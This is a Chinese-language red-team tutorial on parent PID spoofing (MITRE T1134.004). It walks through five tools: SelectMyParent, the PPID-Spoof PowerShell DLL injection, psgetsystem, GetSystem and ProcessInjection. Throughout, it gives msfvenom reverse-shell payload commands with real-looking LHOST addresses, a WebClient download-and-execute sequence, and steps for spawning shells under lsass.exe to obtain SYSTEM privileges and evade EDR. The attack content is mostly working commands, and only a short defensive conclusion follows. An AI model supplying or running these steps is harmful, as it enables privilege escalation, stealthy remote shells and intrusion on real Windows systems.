概述

 父进程伪装是一种访问令牌操作技术,通过将恶意文件的PPID指定为explorer.exe等合法进程的PPID,可帮助攻击者规避启发式检测等防御技术。

 该伪装可通过使用本地API调用来执行,该调用可帮助攻击者显式指定PID,如C++中的CreateProcess调用。正如我们将在本文中看到的那样,这种显式分配也可能具有某些附带好处。

 MITRE 战术:权限提升(TA0004)和 防御规避(TA0005)

 MITRE ATT&CK技术:T1134 :Windows访问令牌模拟窃取以及利用

 子技术:T1134.004 :访问令牌操作: 父 PID 欺骗

背景:

 子进程监控是威胁狩猎中最常见的指标之一。应急响应人员可能会分析如果 conhost.exe 或 cmd.exe 进程是从 Adobe Reader 或 MS Excel 等零相关的应用生成的,则表明可能存在潜在威胁。安全防护软件会在启发式检测下监控此行为,并向管理员发出警报。

 父PID(PPID)欺骗方法可以绕过 AV/EDR检测,使其认为是 lsass.exe 这样的合法进程在进行活动。它通过欺骗进程的 PID 以匹配其父进程的 PID 来做到这一点。这种方法可能带来的另一个好处是,如果父进程以 SYSTEM 权限运行,则可以凭借访问令牌的继承,使其子进程也具有相同的 SYSTEM 权限。

进程、PID和PPID

 进程:在 Windows 中,应用程序由一个或多个进程组成。简单来说,当前正在运行的程序的一部分称为进程。不同的应用程序可能会使用相同的进程(如cmd.exe),并且为避免歧义,会分配一个整数来区分一个进程和另一个进程。该整数称为PID

 PID:代表进程标识符 (PID),它是正在运行的进程的数字表示。 Windows 中通过 GetCurrentProcessID() 函数返回指定进程的 PID

 父进程:父进程是可以派生多个子进程的进程。例如,命令explorer.exe /e,/root,"C:\WINDOWS\System32\cmd.exe"将派生cmd.exe作为父进程explorer.exe的子进程。在代码中,父进程可以使用fork()系统调用来派生子进程。

 PPID:代表父进程标识符(PPID),它是提供给父进程的数字表示形式。任何包含子进程的进程都存在父子关系。

 方法一(使用C++程序进行PID欺骗)

 Didier Stevens最初在这里的帖子中谈到了Windows API——"CreateProcess"这种方法。还发布了一个用C++编写的利用程序(SelectMyParent)。代码可以在这里下载:https://web.archive.org/web/20210225035252/http:/www.didierstevens.com/files/software/SelectMyParent_v0_0_0_1.zip

请注意,如果您使用的是更高版本的Visual Studio,可能需要重新生成此EXE。在Visual Studio2022中,我删除了Debug and Release文件夹中的SelectMyParent.pdb文件,并重新生成了项目以使其运行。

 在进程管理器中,你会看到 explorer.exe 在 PID 1624 上运行

 因此,要在这个父 explorer.exe进程下运行我们自己的二进制文件,可以像这样使用 SelectMyParent.exe,你会看到在 PID 1624下创建了一个新进程。

E:\>SelectMyParent.exe notepad 1624

 可以看到在PID 2836启动了notepad.exe

 同样,我们也可以运行自己的EXE。让我们先用msfvenom创建一个可以反弹shellexe

# msfvenom -p windows/shell_reverse_tcp -f exe LHOST=172.19.218.248 LPORT=7777 > shell.exe

 在受感染端,使用tasklist /v查看进程运行详情。

 在列表中,可以看到explorer.exe进程以test身份在进程ID 1624上运行。

 然后运行生成的shell.exe,并附属在explorer.exePID

 监听端收到的shell便是explorer.exe进程用户的权限

 如果利用具有system权限的进程,即可进行提权。

 方法二(使用Powershell DLL注入进行PID欺骗)

 F-Secure 实验室利用 powershell 创建了替代上述Didier 二进制文件的方案。它也可以用于父进程欺骗,与上述方法不同之处在于,可以将带有注入的DLL的子进程派生为子进程,功能更强大。代码可以在这里下载https://github.com/countercept/ppid-spoofing,首先在受害者机器上查看进程ID,这里我们选择 Powershell 的 PID 24092 作为父进程ID

 利用msfvenmon生成要注入的DLL

 msfvenom -p windows/x64/shell_reverse_tcp exitfunc=thread LHOST=172.27.115.207 LPORT=7777 -f dll > shell.dll
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of dll file: 8704 bytes

 然后进行注入:

Import-Module .\PPID-Spoof.ps1
PPID-Spoof -ppid 24092 -spawnto "C:\Windows\System32\notepad.exe" -dllpath .\shell.dll

 可以看到注入的DLLNotepad.exe中加载执行了。

 通过这种方式,PPID 24092上的powershell.exe进程派生了一个带有插入代码(由DLL提供)的notepad.exe

 方法三(使用Powershell 脚本入进行PID欺骗)

 Decoder-it 根据 Didier Stevens 提供的指南开发了一个 powershell 脚本,使用了 CreateProcessFromParent()方法,可以在此处找到的psgetsystem脚本:https://github.com/decoder-it/psgetsystem.git,可用于通过PID欺骗派生子进程。首先我们查看所需进程的 PID。这里以lsass.exe为例

 然后执行如下命令:

powershell -ep bypass
Import-Module .\psgetsys.ps1
[MyProcess]::CreateProcessFromParent(520,".\shell.exe","")

 如果报错,可能是UAC的问题,需要先绕过UAC,或者是权限过低,需要提权。

 绕过UAC脚本可以在这里找到:https://github.com/samratashok/nishang/tree/master/Escalation

 然后下载所需的文件,然后执行命令

$client=new-object System.Net.WebClient
$client.DownloadFile("http://<url>/psgetsys.ps1",".\psgetsys.ps1")
$client.DownloadFile("http://<url>/shell.exe",".\shell.exe")
Import-Module .\psgetsys.ps1
[MyProcess]::CreateProcessFromParent(520,".\shell.exe","")

 可以看到在lsass.exe下成功创建了子进程,因为lsass.exesystem权限,所以反弹shell也获取到了system权限。

 方法四(使用C#程序进行PID欺骗)

 py7hagoras开发了GetSystem项目,是上述技术的C#实现,可以在这里找到:https://github.com/py7hagoras/GetSystem.git

 在目标机上下载GetSystem.exe,然后执行GetSystem.exe 自定义程序 -O 目标进程名

GetSystem.exe shell.exe -O lsass

 注意:这里可能也需要绕过UAC或者提权,不然执行不成功。

 方法五(通过PID欺骗注入Shellcode)

 Chirag Savla 使用 C#开发了一个名为“ProcessInjection”的出色工具,它可以执行许多功能,包括通过 PID 欺骗进行的进程注入。通过提供有效的 PID,该工具会尝试使用 CreateProcess 等原生 API调用来欺骗 PID,然后将代码注入其中。该工具支持 hexC 和 base64 格式的shellcode ,也可以选择 DLL 注入。工具在这里下载:https://github.com/3xpl01tc0d3r/ProcessInjection

 首先,使用msfvenom创建一个shellcode代码

msfvenom -p windows/x64/shell_reverse_tcp -exitfunc=thread LHOST=172.19.218.248 LPORT=7777 -f hex > /hex.txt

 然后在目标机中下载

 使用ProcessInjection.exe进行注入

ProcessInjection.exe /ppath:"C:\Windows\System32\calc.exe" /path:"hex.txt" /parentproc:explorer /f:hex /t:1

 参数说明:

 /ppath:目标 EXE 的进程路径(需要注入进程的路径)

 /path:shellcode文件路径

 /parentproc:父进程名称,目标EXE应在此进程下生成

 /f:shellcode文件类型

 /t:注入技术

支持的五种注入方式:

1) Vanilla Process Injection
2) DLL Injection
3) Process Hollowing
4) APC Queue
5) Dynamic Invoke - Vanilla Process Injection

 我们可以看到calc.exeexplorer.exe下,而shellcode则在calc.exe中执行。

 也可以进行DLL注入

ProcessInjection.exe /ppath:"C:\Windows\System32\calc.exe" /path:"shell.dll" /parentproc:explorer /t:2

 其他工具

 https://github.com/Mr-Un1k0d3r/RemoteProcessInjection

 https://github.com/xpn/getsystem-offline

 https://github.com/hlldz/APC-PPID

 https://github.com/ewilded/PPID_spoof

 https://github.com/christophetd/spoofing-office-macro (VBA实现)

 在Metasploit中Meterpreter 可以使用migrate命令或者后渗透模块post/windows/manage/migrate也可以实现进程迁移。

 总结

 攻击者广泛使用该技术进行检测规避,并增加了应急响应人员检测IoC的时间。针对许多过时的和未打补丁的EDR解决方案,可以使用此技术轻松规避检测。通过本文,告诉大家在组织中应该使用最新的EDR解决方案以及在可以捕捉此类技术的优质产品中使用智能检测功能的重要性。

 更多靶场实验练习、网安学习资料,请点击这里>>

红队技术-父进程伪装(MITRE ATTCK框架:T1134)相关推荐

  1. windows黑客编程技术之隐藏技术(进程伪装,傀儡进程,进程隐藏)

    进程伪装:通过修改指定进程PEB中的路径和命令行信息实现伪装. 傀儡进程:通过进程挂起,替换内存数据再恢复执行,从而实现创建"傀儡进程". 进程隐藏:通过HOOK函数ZwQuery ...

  2. MITRE ATTCK框架

    前言: ATT&CK是一个强大的.庞大的框架,本人目前还在初学阶段,本文仅用于记录在学习ATT&CK中的一些心得体会. 0X00 什么是ATT&CK Adversarial T ...

  3. jquery.ztree 打开父节点_父进程欺骗技术

    文章正文 监控父进程和子进程之间的关系是威胁检测团队检测恶意活动的常用技术,例如,如果powershell是子进程,而Microsoft Word是父进程,这种这种异常行为各种EDR可以很容易地检测到 ...

  4. 红蓝对抗之蓝队防守:ATTCK框架的应用

    企业大规模数字化转型的浪潮下,各类网络入侵事件频发.APT和黑客团伙活动猖獗,合规性驱动的传统安全防护建设已无法满足需求.近年来随着各级红蓝对抗行动的开展,企业安全建设正逐步向实战化转型,而MITRE ...

  5. 90%的人都不算会网络安全,这才是真正的白帽子技术【红队】

    我敢说,现在网上90%的文章都没有把网络安全该学的东西讲清楚. 为什么?因为全网更多的都是在讲如何去渗透和公鸡,却没有把网安最注重的防御讲明白. 老话说得好:"攻击,是为了更好的防御.&qu ...

  6. 【高级持续性威胁跟踪】红队视角看Sunburst后门中的TTPs

    针对SolarWinds供应链攻击简介 最近FireEye披露的UNC2452黑客组织入侵SolarWinds的供应链攻击让安全从业人员印象深刻.一是影响规模大,SolarWinds官方称受影响的客户 ...

  7. linux 系统命令被后门修改_红队实战攻防技术分享:Linux后门总结SSH利用篇

    导读:常见红队评估中,也能遇到很多Linux服务器,如何使Linux在安全人员/运维人员的检查过程中能够稳定的持续的用做跳板,本系列文章将对常见的Linux后门技术作以总结归纳,将相关技术展现给大家. ...

  8. 【安全实战】红队攻防技术

    前言 希望能够面向红蓝双方进行讲解,在进行一些攻击方式分析时,同样也会引起防守方对于攻击的思考.红蓝对抗的意义也正是在这种持续的攻击下不断寻找防御的平衡点,故 未知攻,焉知防. ​ 本文仅做安全研究作 ...

  9. [VulnStack] ATTCK实战系列—红队实战(二)

    文章目录 0x00 环境搭建 0x01 信息收集 端口探测 目录扫描 0x02 漏洞利用 0x03 内网收集 主机信息搜集 域信息收集 内网漏洞扫描 0x04 横向渗透 MS17-010 PsExec ...

  10. 红队渗透测试技术:如何通过鱼叉式网络钓鱼获得攻击机会?

    关于红队在渗透测试中使用的网络钓鱼攻击的文章很多,不过大多数的介绍都是不完整的.在本文中,我们将对这个话题进行一次完整的梳理,包括域创建,制作网络钓鱼内容,绕过垃圾邮件过滤器和电子邮件网关,生成不可检 ...

最新文章

  1. SQL Cache Invalidation
  2. python中使用格式化字符串
  3. 面试题之发散思维能力:如何用非常规方法求1+2+···+n
  4. html多个盒子重叠浮动,如何让浮动后的多个盒子水平居中
  5. 想要涨薪,这些坑你避开了
  6. 不得不看!降低Transformer复杂度的方法
  7. GitCode 版本升级,让开发更加高效
  8. hpasmcli查看HP服务器内存状态
  9. ES6:Rest 参数和参数默认值【转】
  10. Android使用TextToSpeech(TTS)实现文字转语音合成播放
  11. 智慧社区可研究性报告
  12. 分糖果 2021T1
  13. 如何正确判断USB等接口的接线顺序
  14. 如何用excel做多元回归分析
  15. 深度学习模型训练的结果及改进方法
  16. Swing版《房屋租赁合同》
  17. 中国矿业大学计算机学院评优,活动回顾 | 中国矿业大学院研究生会评优工作圆满结束...
  18. Ubuntu快速更换源
  19. MYOJ 的来源和现状
  20. 51单片机学习笔记——蜂鸣器

热门文章

  1. 【已解决】您的PHP似乎没有安装运行WordPress所必需的MySQL扩展
  2. 计算机专业html5的毕业论文范文,5000字计算机专业大专毕业论文参考范文
  3. 关于华三路由器nat映射ftp端口号登录服务器失败问题
  4. 代理服务器的四大作用
  5. RESTful 架构介绍
  6. PMP备考之路 - 汪博士第六章(项目进度管理)
  7. 过滤dt中重复的记录
  8. 老子道德经原文加讲解
  9. SAP 系统银行账户管理
  10. 135微信编辑html语言,135微信编辑器